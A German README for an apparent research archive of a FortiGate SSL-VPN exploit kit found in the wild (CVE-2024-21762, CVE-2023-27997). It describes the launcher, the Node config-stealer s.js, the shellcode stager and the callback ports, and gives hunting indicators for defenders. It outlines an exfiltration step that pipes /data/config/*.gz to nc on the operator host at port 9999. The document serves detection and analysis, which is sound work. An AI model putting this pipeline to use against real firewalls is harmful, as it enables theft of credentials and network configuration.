Der FortiGate SSL-VPN-Topf voller Gold. CVE-2024-21762 und CVE-2023-27997. 79 funktionierende Exploit-Clients. 53 Hardware-SKUs. 55 FortiOS-Builds.
Forschungsarchiv. Wie vorgefunden geborgen. Ich habe diese Dateien nicht geschrieben.
Veröffentlicht: 1. September 2026
Dieses Repository ist der Orchestrator, die Second-Stage-Payloads und die Operator-Listener, die auf einem pro-SKU-FortiGate-SSL-VPN-Exploit-Katalog aufsetzen. Die ausführliche Geschichte, Zahlen und Jagd-Notizen finden sich in der Serie The SSL-VPN pot of gold auf Abraxas Labs.
Führen Sie dieses Material nicht gegen einen Host aus, es sei denn, Sie haben die ausdrückliche schriftliche Genehmigung sowohl der Partei, die dieses Repository hostet, als auch des Eigentümers der Zielsysteme. Die zugehörigen CVEs waren öffentlich und gepatcht, bevor diese Veröffentlichung erfolgte. Dieser Baum dient der Forschung, Erkennung und historischen Analyse.
Ich habe ein privates FortiGate-SSL-VPN-Kit in freier Wildbahn gefunden. Der erste Abwurf war ein Verzeichnis mit funktionierenden Clients: Namen wie und . Jede Datei ist ein . Zwei öffentliche N-Days, über Hardware und Firmware neu gestempelt, bis der Ordner wie ein Ersatzteilkatalog aussah.
Das Gold ist die Offset-Matrix, nicht ein neuer Bug. Dieses Argument wird in Phase 0 der Serie geführt. Phase 1 behandelt die beiden Primitiven als Verhalten. Phase 2 ist die durchsuchbare SKU-/Train-/CPU-Karte. Phase 3 ist die Jagd.
Dieses Repository ist der Rest desselben Kits, keine zweite Exploit-Familie.
exp/ sind die bereits in der Serie beschriebenen pro-Image-Clients.shellcode/ sind die Launcher-, Implant-Abruf- und Config-Diebstahl-Listener, die diese Clients aufrufen sollten.exp_*.py-Dateien enthielten nie das Implant. Sie wussten nur, (1) rohe Bytes von einem „Shellcode-Server“ zu ziehen oder (2) GET /s.js auszuführen und zu evalen. Diese fehlenden Teile sind hier.Die Primitiven:
| Familie | CVE | Fortinet-Advisory | Öffentliche Farbe |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
Beide stehen im Katalog bekannter ausgenutzter Schwachstellen von CISA. poc.py implementiert keinen der beiden CVEs. Es wählt aus und umhüllt die beiden bereits klassifizierten Familien (Chunked-Write 21762; enc=-Heap-Overflow 27997).
.
├── poc.py # pocsuite3-Launcher / Fingerprint / Prozessmanager
├── s.js # Node-Second-Stage (Config-Dieb)
├── send_cmd.py # Callback-Handler für den Stager-Pfad
├── init.sh # Paketinstallation für die Operator-Workstation
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # Längenpräfix-Blob-Pumpe
├── shellcode_arm # ~2,0 MB rohe Second Stage
└── shellcode_amd64 # ~2,7 MB rohe Second Stage
exp/index.html und shellcode/index.html sind gewöhnliche Python-http.server-Verzeichnislisten. Sie zeigen nur, dass dieser Baum zu einem bestimmten Zeitpunkt als Web-Root gehostet wurde.
Diese Kopie von exp/ ist der frühere Katalog plus vier zusätzliche Clients: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py Orchestrator (pocsuite3)
│
├─ Fingerprint-Portal ─────── VERSION_LIBS (Hash → SKU + FortiOS)
├─ Datei auswählen ────────── exp/exp_<SKU>-v<ver>.py
│
├─ wenn Client vom Typ "Stager" (Familie A ARM / einige amd64)
│ starte shellcode/shellcode_server.py
│ liest shellcode/shellcode_arm oder shellcode_amd64
│ starte send_cmd.py (warte auf Callback)
│ starte Config-Empfänger auf :9999
│ führe gewähltes exp_*.py aus
│
└─ wenn Client vom Typ "Node /s.js" (die meisten Familie B + viele Familie A)
serviere s.js über HTTP
starte Config-Empfänger auf :9999
führe gewähltes exp_*.py aus
→ Firewall GET /s.js → eval → Exfiltration
Pipeline in einer Zeile: identifizieren → Offset-Datei auswählen → sslvpnd korrumpieren → Implant ziehen → /data/config/*.gz exfiltrieren → auf der Operator-Seite archivieren.
Dieser letzte Schritt ist der Punkt. Ein Treffer ist nicht authentifizierte Codeausführung in sslvpnd auf der Firewall selbst — TLS-Terminator, Routing-Policy, VPN-Sitzungen, oft LDAP/RADIUS-Bindungen. FortiOS bietet keine brauchbare /bin/sh. Öffentliche Forschung und dieses Kit gehen beide über einen internen Befehlshelfer und/oder /bin/node, das FortiOS tatsächlich mitliefert. Behandeln Sie einen bestätigten Treffer als Kompromittierung der Netzwerkgrenze, nicht als abgestürzten Daemon. Siehe Was ein Treffer bedeutet.
poc.py — LauncherOperator-Frontend (pocsuite3 POCBase). Es implementiert CVE-2024-21762 oder CVE-2023-27997 nicht.
https://<target>/remote/login?lang=en ab (Fallback GB2312)./sslvpn/js/login.js?q=<md5>.VERSION_LIBS (182 hash,SKU,version-Zeilen) nach. Diese Tabelle ist der Grund, warum das Kit unter 50+ Appliances wählen kann, ohne dass der Operator die SKU benennt. Gleiche SKUs wie die Matrix, gesteuert durch einen öffentlichen SSL-VPN-Ressourcen-Hash statt SNMP oder einer Management-API.exp/exp_<SKU>-v<version>.py auf.s.js → Typ 2 (Node-Loader)Shellcode Server → Typ 1 (Stager); sucht dann nach arm vs amd64 im SkriptPopent die exp_*.py mit Host/Port/Callback-Argumenten.Standard-Operator-Adresse in dieser Kopie: HOST_IP aus der Umgebung, sonst ATTACKER_HOST. Wörtliche IPv4-Adressen in diesem Baum wurden durch Rollenbezeichnungen ersetzt (Ports unverändert):
| Bezeichnung | Rolle | Wo sie erschien |
|---|---|---|
TARGET_HOST | FortiGate unter Angriff | Nie fest verdrahtet; rhost / target aus argv (siehe poc.py) |
ATTACKER_HOST | Operator-Workstation | Standard HOST_IP in poc.py; Bind-Adressen in poc.py, send_cmd.py, shellcode/shellcode_server.py; exp_*.py s.js / TFTP-Platzhalter, die mit lhost gefüllt werden |
C2_HOST | Eingebackener Callback in dieser Kopie des Implants | s.js — nicht das lhost, das in den Exploit übergeben wird |
| Port | Rolle |
|---|---|
| 7777 | Callback / send_cmd.py |
| 8888 | Shellcode-Server |
| 9999 | Config-Empfänger (entspricht s.js und send_cmd.py Exfiltration) |
Wenn der Portal-Hash in VERSION_LIBS fehlt, stoppt es mit „unknown target hash.“ Wenn der Hash übereinstimmt, aber die exp/-Datei fehlt, „no exp.“
s.js — die fehlende Node-Second-StageDies ist die Datei, die die Familie-B-/Node-Familie-A-Clients nach execute_cmd abrufen. Es ist keine allgemeine Reverse-Shell.
C2_HOST:9999 (C2-Host, nicht TARGET_HOST und nicht das lhost / ATTACKER_HOST, das in den Exploit übergeben wird — diese Kopie wurde für einen Operator-Callback gebacken)./data/config/ auf der Firewall.*.gz-Dateien (komprimierte FortiOS-Konfigurationsobjekte).Das ist ein Konfigurations-Dieb. Es erklärt, warum poc.py auch auf 9999 lauscht und Dateien zu einem Base64-Ergebnis wieder zusammensetzt. Jagen Sie C2_HOST auf Port 9999 von jedem FortiGate-Egress. Jagd-Notizen: Phase 3.
send_cmd.py — Callback-Handler für den Stager-PfadWird verwendet, wenn das gewählte exp_*.py vom ARM/amd64-Shellcode-Typ ist (Verwendung enthält einen Shellcode-Server).
cd /data/config und cat jedes *.gz zu nc <LHOST> 9999.s.js (Config stehlen), anderer Transport (Shell-Callback vs. Node).Eine auskommentierte Variante verwendete base64-Framing statt rohem cat.
shellcode/shellcode_server.py — Byte-Pumpe für Familie-A-StagerEntspricht dem Protokoll, das bereits in den ARM32-exp_*.py-Stubs sichtbar ist:
poc.py verwendet 8888).shellcode_<arch> aus demselben Verzeichnis.exp_*.py-Stager verbinden sich hierher, mappen beschreibbar-ausführbaren Speicher, ziehen den Blob und verbinden sich dann zurück zu lhost:lport (7777 → send_cmd.py).
Rohe Second-Stage-Blobs (~2,0 MB ARM, ~2,7 MB amd64). Sie sind das, was der Stager herunterlädt. Sie sind nicht der winzige Thumb-Stub in den Python-Dateien; diese Stubs holen nur diese Dateien. Behandeln Sie sie als das Implant für den Nicht-Node-Pfad. Die Größe deutet auf gepackte oder statische Payloads hin, nicht auf ein paar Dutzend Anweisungen.
init.sh — Einrichtung der Operator-WorkstationWird nicht gegen die Firewall verwendet. Installiert build-essential, binutils-arm-linux-gnueabihf und gcc-aarch64-linux-gnu. Das dient dem Bauen von ARM/AArch64-Teilen auf einer Debian-ähnlichen Angriffsbox. Konsistent mit einem Autor, der Stager kompiliert, statt nur Python zu liefern.
Einzelne Zeile: pwntools. Die exp_*.py-Dateien und shellcode_server.py importieren es. poc.py möchte auch pocsuite3, python-dotenv, mmh3 und requests.
exp/-Clients| Bereits in der Serie beschrieben | Rolle in diesem Baum |
|---|---|
Familie-A-ARM-exp_*.py (Stager-Argumente) | Erste Stufe. Ruft shellcode_server.py + shellcode_arm (oder amd64) auf, dann lhost:7777. |
Familie-A/B-Node-exp_*.py (/s.js) | Erste Stufe. HTTP-GET des übergeordneten s.js, dann eval. |
6.0-D-Serie TFTP / /tmp/s-Varianten | Gleiches s.js-Ziel über TFTP; erwartet diese Datei weiterhin auf dem Operator-HTTP-Root. |
Nichts im übergeordneten Verzeichnis implementiert einen dritten CVE. Zahlen, SKU-Heatmap und Train-Ausrichtung (Familie A bis 7.4.0 / 7.4.1; Familie B innerhalb des 27997-Fensters) finden sich in Phase 0 und Phase 2. Stärkste Neuausrichtung im ursprünglichen Katalog: FortiGate-60E, 100E, 60F, 100F — Zweigstellen-Hardware.
Der erste Abwurf endete bei „Callback erhalten.“ Second-Stage-Körper fehlten. Dieser Baum macht das Ziel explizit:
/data/config/*.gz, nicht „generisches RCE.“ Das ist Kompromittierung von Anmeldedaten und Topologie (VPN-Benutzer, Routen, in diesen Objekten gespeicherte Geheimnisse).VERSION_LIBS in poc.py ist eine fertige Liste „welche SKU dachten sie, dieser Hash sei.“Portal-Recon und First-Stage-URIs sind in Hunting the kit dokumentiert. Besondere, die bereits in öffentlichen Write-ups und in diesem Baum genannt wurden:
GET /remote/login und /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate mit enc=GET /s.js von der FirewallC2_HOST:9999 in dieser Kopie von s.js (C2-Host)ATTACKER_HOST-Ports 7777 / 8888 / 9999 (Angreifer-Host)TARGET_HOST ist rhost, das zur Laufzeit bereitgestellt wirdJagen Sie Egress von der Firewall (TARGET_HOST) zu C2_HOST:9999 und zu jedem ATTACKER_HOST, der /s.js während des relevanten Fensters ausgeliefert hat.
Aus der Einleitung:
Ein öffentlicher PoC gegen eine VM ist ein anderes Artefakt. Dieses Paket ist für den, der auf Recon geantwortet hat.
Wenn Sie FortiGates betreiben: Inventarisieren Sie Modell, exaktes FortiOS, SSL-VPN an oder aus, ob das Portal aus nicht vertrauenswürdigen Netzwerken erreichbar war. Dann lesen Sie Phase 2. Inventarisieren Sie nicht nur 60er-Serien-Zweigstellen-Boxen, weil diese Dateinamen am lautesten waren.
Diese Dateien wurden in freier Wildbahn während unabhängiger Sicherheitsforschung geborgen. Ich habe sie nicht erstellt. Sie werden wie vorgefunden veröffentlicht, nachdem die zugehörigen CVEs öffentlich offengelegt und gepatcht wurden.
Nur für Forschung / Bildung. Führen Sie dieses Material nicht gegen einen Host aus, setzen Sie es nicht ein oder verwenden Sie es nicht, es sei denn, Sie haben die ausdrückliche schriftliche Genehmigung sowohl der Partei, die dieses Repository hostet, als auch des Eigentümers der Zielsysteme.